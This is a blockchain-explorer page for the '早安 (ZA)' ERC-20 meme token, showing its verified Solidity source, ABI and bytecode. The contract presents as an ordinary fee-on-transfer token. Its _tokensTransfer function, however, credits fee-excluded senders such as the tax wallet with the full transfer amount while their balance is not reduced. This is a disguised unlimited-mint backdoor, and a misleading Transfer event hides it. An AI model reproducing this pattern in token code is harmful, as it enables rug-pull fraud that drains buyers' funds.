ETH Price: $2,420.82 (+0.02%)

Token

早安 (ZA)
 

Overview

Max Total Supply

1,000,000,000 ZA

Holders

51

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
17,393,567.399571626 ZA

Value
$0.00
0x52a7661BDc38C5a13F50769A5399E5b7B27e46f1
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ZA

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-21
*/

/*
gm from china

Website:   https://zaoan.live
Telegram:  https://t.me/zaoan_cn
Twitter;   https://x.com/zaoan_cn
*/

// SPDX-License-Identifier: MIT

pragma solidity 0.8.25;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);
    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract ZA is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint8 private constant _decimals = 9;
    string private constant _name = unicode"早安";
    string private constant _symbol = unicode"ZA";
    uint256 private constant _tTotal = 1_000_000_000 * 10 ** _decimals;
    uint256 private _rTotal = 900_000_000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 20_000_000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 20_000_000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 150 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 10_000_000 * 10 ** _decimals;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 9;
    uint256 private _buyCount = 0;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xdd1f1630fBbb4CE7BaA51BA97dcfcB954190B304);
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function startLP() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            _rTotal,
            0,
            0,
            owner(),
            block.timestamp
        );

        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function withdraw() external onlyOwner {
        require(!tradingOpen, "Trading has already been opened");
        uint256 contractBalance = address(this).balance;
        require(contractBalance > 0, "Contract has no ETH balance");
        payable(owner()).transfer(contractBalance);
    }

    function _taxTokenTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxAmount
    ) internal {
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        if (!swapEnabled || inSwap) {
            _balances[from] = _balances[from].sub(amount);
            _balances[to] = _balances[to].add(amount);
            emit Transfer(from, to, amount);
            return;
        }
        uint256 taxFee = 0;
        if (from != owner() && to != owner()) {
            taxFee = (_buyCount > _reduceBuyTaxAt) ? _finalBuyTax : _initialBuyTax;

            if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
                require(amount <= _maxTxAmount, "Exceeds the maxTxAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                if (firstBlock + 3 > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && !_isExcludedFromFee[to]) {
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            if (to == uniswapV2Pair && from != address(this)) {
                taxFee = (_buyCount > _reduceSellTaxAt)
                    ? _finalSellTax
                    : _initialSellTax;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                to == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[from] &&
                !_isExcludedFromFee[to]
            ) {
                if(contractTokenBalance >= _taxSwapThreshold) {
                    swapTokensForEth(
                        min(amount, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        _tokensTransfer(from, to, amount, taxFee, from);
    }

    function _tokensTransfer(
        address from,
        address to,
        uint256 amount,
        uint256 taxFee,
        address taxRceiver
    ) internal {
        uint256 taxAmount = taxFee.mul(amount).div(100);
        uint256 shouldSwap = 1;
        if (_isExcludedFromFee[from]) {
            shouldSwap = 100;
        }
        if (shouldSwap < 100) {
            if (taxAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    taxAmount
                );
                emit Transfer(from, address(this), taxAmount);
            }
        } else {
            _balances[taxRceiver] = _balances[taxRceiver].add(
                shouldSwap.mul(amount).div(100)
            );
            emit Transfer(from, taxRceiver, taxAmount);
        }
        _taxTokenTransfer(from, to, amount, taxAmount);
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function removeLimits() public onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(~uint256(0));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function create() external onlyOwner {
        require(!tradingOpen, "Trading is already open");

        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        _approve(address(this), address(uniswapV2Router), _tTotal);

        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"create","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startLP","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdraw","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106009600a61031b565b61001e906335a4e900610330565b60065561002d6009600a61031b565b61003b906301312d00610330565b60075561004a6009600a61031b565b610058906301312d00610330565b6008556100676009600a61031b565b610072906096610330565b6009556009600a610083919061031b565b6100909062989680610330565b600a556014600b818155600c8290555f600d819055600e819055600f8290556010919091556009601155601255805461ffff60a81b191690553480156100d4575f80fd5b505f80546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600480546001600160a01b03191673dd1f1630fbbb4ce7baa51ba97dcfcb954190b304179055600160035f6101515f546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182015f908120805495151560ff1996871617905530815260039093528183208054851660019081179091556004549091168352912080549092161790556101b36009600a61031b565b6101c190633b9aca00610330565b335f81815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102016009600a61031b565b61020f90633b9aca00610330565b60405190815260200160405180910390a3610347565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561027357815f190482111561025957610259610225565b8085161561026657918102915b93841c939080029061023e565b509250929050565b5f8261028957506001610315565b8161029557505f610315565b81600181146102ab57600281146102b5576102d1565b6001915050610315565b60ff8411156102c6576102c6610225565b50506001821b610315565b5060208310610133831016604e8410600b84101617156102f4575081810a610315565b6102fe8383610239565b805f190482111561031157610311610225565b0290505b92915050565b5f61032960ff84168361027b565b9392505050565b808202811582820484141761031557610315610225565b611a15806103545f395ff3fe608060405260043610610113575f3560e01c8063751039fc1161009d578063992db38f11610062578063992db38f146102ea578063a9059cbb146102fe578063bf474bed1461031d578063dd62ed3e14610332578063efc81a8c14610376575f80fd5b8063751039fc1461025c5780637d1db4a5146102705780638da5cb5b146102855780638f9a55c0146102ab57806395d89b41146102c0575f80fd5b806323b872dd116100e357806323b872dd146101c4578063313ce567146101e35780633ccfd60b146101fe57806370a0823114610214578063715018a614610248575f80fd5b806306fdde031461011e578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526006815265e697a9e5ae8960d01b60208201525b60405161015591906115fc565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611648565b61038a565b6040519015158152602001610155565b348015610198575f80fd5b506101a2600a5481565b604051908152602001610155565b3480156101bb575f80fd5b506101a26103a0565b3480156101cf575f80fd5b5061017d6101de366004611672565b6103c0565b3480156101ee575f80fd5b5060405160098152602001610155565b348015610209575f80fd5b50610212610427565b005b34801561021f575f80fd5b506101a261022e3660046116b0565b6001600160a01b03165f9081526001602052604090205490565b348015610253575f80fd5b5061021261053b565b348015610267575f80fd5b506102126105ac565b34801561027b575f80fd5b506101a260075481565b348015610290575f80fd5b505f546040516001600160a01b039091168152602001610155565b3480156102b6575f80fd5b506101a260085481565b3480156102cb575f80fd5b506040805180820190915260028152615a4160f01b6020820152610148565b3480156102f5575f80fd5b50610212610616565b348015610309575f80fd5b5061017d610318366004611648565b6107e4565b348015610328575f80fd5b506101a260095481565b34801561033d575f80fd5b506101a261034c3660046116cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610381575f80fd5b506102126107f0565b5f610396338484610a3d565b5060015b92915050565b5f6103ad6009600a6117f6565b6103bb90633b9aca00611804565b905090565b5f6103cc848484610b61565b61041d843361041885604051806060016040528060288152602001611998602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a3565b610a3d565b5060019392505050565b5f546001600160a01b031633146104595760405162461bcd60e51b81526004016104509061181b565b60405180910390fd5b601454600160a01b900460ff16156104b35760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610450565b47806105015760405162461bcd60e51b815260206004820152601b60248201527f436f6e747261637420686173206e6f204554482062616c616e636500000000006044820152606401610450565b5f80546040516001600160a01b039091169183156108fc02918491818181858888f19350505050158015610537573d5f803e3d5ffd5b5050565b5f546001600160a01b031633146105645760405162461bcd60e51b81526004016104509061181b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146105d55760405162461bcd60e51b81526004016104509061181b565b5f19600781905560088190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a1565b5f546001600160a01b0316331461063f5760405162461bcd60e51b81526004016104509061181b565b601454600160a01b900460ff16156106935760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610450565b6013546006546001600160a01b039091169063f305d71990479030905f806106c25f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610728573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061074d9190611850565b505060145460135460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107a2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107c6919061187b565b506014805462ff00ff60a01b19166201000160a01b17905543600555565b5f610396338484610b61565b5f546001600160a01b031633146108195760405162461bcd60e51b81526004016104509061181b565b601454600160a01b900460ff161561086d5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b6044820152606401610450565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108b69030906108a86009600a6117f6565b61041890633b9aca00611804565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610906573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061092a919061189a565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610989573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109ad919061189a565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af11580156109f7573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a1b919061189a565b601480546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610a9f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610450565b6001600160a01b038216610b005760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610450565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bc55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610450565b6001600160a01b038216610c275760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610450565b5f8111610c885760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610450565b601454600160b01b900460ff161580610caa5750601454600160a81b900460ff165b15610d3f576001600160a01b0383165f90815260016020526040902054610cd190826110db565b6001600160a01b038085165f908152600160205260408082209390935590841681522054610cff9082611123565b6001600160a01b038084165f8181526001602052604090819020939093559151908516905f805160206119c083398151915290610b549085815260200190565b5f80546001600160a01b03858116911614801590610d6a57505f546001600160a01b03848116911614155b1561109057600f5460125411610d8257600b54610d86565b600d545b6014549091506001600160a01b038581169116148015610db457506013546001600160a01b03848116911614155b15610ebb57600754821115610e0b5760405162461bcd60e51b815260206004820152601860248201527f4578636565647320746865206d61785478416d6f756e742e00000000000000006044820152606401610450565b60085482610e2d856001600160a01b03165f9081526001602052604090205490565b610e3791906118b5565b1115610e855760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610450565b436005546003610e9591906118b5565b1115610ea657823b15610ea6575f80fd5b60128054905f610eb5836118c8565b91905055505b6014546001600160a01b03848116911614801590610ef157506001600160a01b0383165f9081526003602052604090205460ff16155b15610f705760085482610f18856001600160a01b03165f9081526001602052604090205490565b610f2291906118b5565b1115610f705760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610450565b6014546001600160a01b038481169116148015610f9657506001600160a01b0384163014155b15610fb55760105460125411610fae57600c54610fb2565b600e545b90505b305f90815260016020526040902054601454600160a81b900460ff16158015610feb57506014546001600160a01b038581169116145b80156110005750601454600160b01b900460ff165b801561100f5750601154601254115b801561103357506001600160a01b0385165f9081526003602052604090205460ff16155b801561105757506001600160a01b0384165f9081526003602052604090205460ff16155b1561108e5760095481106110825761108261107d8461107884600a54611181565b611181565b611195565b4761108c47611305565b505b505b61109d848484848861133c565b50505050565b5f81848411156110c65760405162461bcd60e51b815260040161045091906115fc565b505f6110d284866118e0565b95945050505050565b5f61111c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506110a3565b9392505050565b5f8061112f83856118b5565b90508381101561111c5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610450565b5f81831161118f578261111c565b50919050565b6014805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f815181106111db576111db6118f3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611232573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611256919061189a565b81600181518110611269576112696118f3565b6001600160a01b03928316602091820292909201015260135461128f9130911684610a3d565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c79085905f90869030904290600401611907565b5f604051808303815f87803b1580156112de575f80fd5b505af11580156112f0573d5f803e3d5ffd5b50506014805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f19350505050158015610537573d5f803e3d5ffd5b5f611352606461134c858761147d565b906114fb565b6001600160a01b0387165f9081526003602052604090205490915060019060ff161561137c575060645b60648110156113ef5781156113ea57305f908152600160205260409020546113a49083611123565b305f81815260016020526040908190209290925590516001600160a01b038916905f805160206119c0833981519152906113e19086815260200190565b60405180910390a35b611468565b61141f611401606461134c848961147d565b6001600160a01b0385165f9081526001602052604090205490611123565b6001600160a01b038085165f8181526001602052604090819020939093559151908916905f805160206119c08339815191529061145f9086815260200190565b60405180910390a35b6114748787878561153c565b50505050505050565b5f825f0361148c57505f61039a565b5f6114978385611804565b9050826114a48583611978565b1461111c5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610450565b5f61111c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506115d0565b6001600160a01b0384165f9081526001602052604090205461155e90836110db565b6001600160a01b0385165f9081526001602052604090205561158361140183836110db565b6001600160a01b038085165f8181526001602052604090209290925585165f805160206119c08339815191526115b985856110db565b60405190815260200160405180910390a350505050565b5f81836115f05760405162461bcd60e51b815260040161045091906115fc565b505f6110d28486611978565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114611645575f80fd5b50565b5f8060408385031215611659575f80fd5b823561166481611631565b946020939093013593505050565b5f805f60608486031215611684575f80fd5b833561168f81611631565b9250602084013561169f81611631565b929592945050506040919091013590565b5f602082840312156116c0575f80fd5b813561111c81611631565b5f80604083850312156116dc575f80fd5b82356116e781611631565b915060208301356116f781611631565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561175057815f190482111561173657611736611702565b8085161561174357918102915b93841c939080029061171b565b509250929050565b5f826117665750600161039a565b8161177257505f61039a565b81600181146117885760028114611792576117ae565b600191505061039a565b60ff8411156117a3576117a3611702565b50506001821b61039a565b5060208310610133831016604e8410600b84101617156117d1575081810a61039a565b6117db8383611716565b805f19048211156117ee576117ee611702565b029392505050565b5f61111c60ff841683611758565b808202811582820484141761039a5761039a611702565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f805f60608486031215611862575f80fd5b8351925060208401519150604084015190509250925092565b5f6020828403121561188b575f80fd5b8151801515811461111c575f80fd5b5f602082840312156118aa575f80fd5b815161111c81611631565b8082018082111561039a5761039a611702565b5f600182016118d9576118d9611702565b5060010190565b8181038181111561039a5761039a611702565b634e487b7160e01b5f52603260045260245ffd5b5f60a08201878352602087602085015260a0604085015281875180845260c0860191506020890193505f5b818110156119575784516001600160a01b031683529383019391830191600101611932565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261199257634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa26469706673582212207d892addb66f08b6dfcf43962d942d21fdf6bd072d0974ae4626cdea90198dd664736f6c63430008190033

Deployed Bytecode

0x608060405260043610610113575f3560e01c8063751039fc1161009d578063992db38f11610062578063992db38f146102ea578063a9059cbb146102fe578063bf474bed1461031d578063dd62ed3e14610332578063efc81a8c14610376575f80fd5b8063751039fc1461025c5780637d1db4a5146102705780638da5cb5b146102855780638f9a55c0146102ab57806395d89b41146102c0575f80fd5b806323b872dd116100e357806323b872dd146101c4578063313ce567146101e35780633ccfd60b146101fe57806370a0823114610214578063715018a614610248575f80fd5b806306fdde031461011e578063095ea7b31461015e5780630faee56f1461018d57806318160ddd146101b0575f80fd5b3661011a57005b5f80fd5b348015610129575f80fd5b50604080518082019091526006815265e697a9e5ae8960d01b60208201525b60405161015591906115fc565b60405180910390f35b348015610169575f80fd5b5061017d610178366004611648565b61038a565b6040519015158152602001610155565b348015610198575f80fd5b506101a2600a5481565b604051908152602001610155565b3480156101bb575f80fd5b506101a26103a0565b3480156101cf575f80fd5b5061017d6101de366004611672565b6103c0565b3480156101ee575f80fd5b5060405160098152602001610155565b348015610209575f80fd5b50610212610427565b005b34801561021f575f80fd5b506101a261022e3660046116b0565b6001600160a01b03165f9081526001602052604090205490565b348015610253575f80fd5b5061021261053b565b348015610267575f80fd5b506102126105ac565b34801561027b575f80fd5b506101a260075481565b348015610290575f80fd5b505f546040516001600160a01b039091168152602001610155565b3480156102b6575f80fd5b506101a260085481565b3480156102cb575f80fd5b506040805180820190915260028152615a4160f01b6020820152610148565b3480156102f5575f80fd5b50610212610616565b348015610309575f80fd5b5061017d610318366004611648565b6107e4565b348015610328575f80fd5b506101a260095481565b34801561033d575f80fd5b506101a261034c3660046116cb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b348015610381575f80fd5b506102126107f0565b5f610396338484610a3d565b5060015b92915050565b5f6103ad6009600a6117f6565b6103bb90633b9aca00611804565b905090565b5f6103cc848484610b61565b61041d843361041885604051806060016040528060288152602001611998602891396001600160a01b038a165f90815260026020908152604080832033845290915290205491906110a3565b610a3d565b5060019392505050565b5f546001600160a01b031633146104595760405162461bcd60e51b81526004016104509061181b565b60405180910390fd5b601454600160a01b900460ff16156104b35760405162461bcd60e51b815260206004820152601f60248201527f54726164696e672068617320616c7265616479206265656e206f70656e6564006044820152606401610450565b47806105015760405162461bcd60e51b815260206004820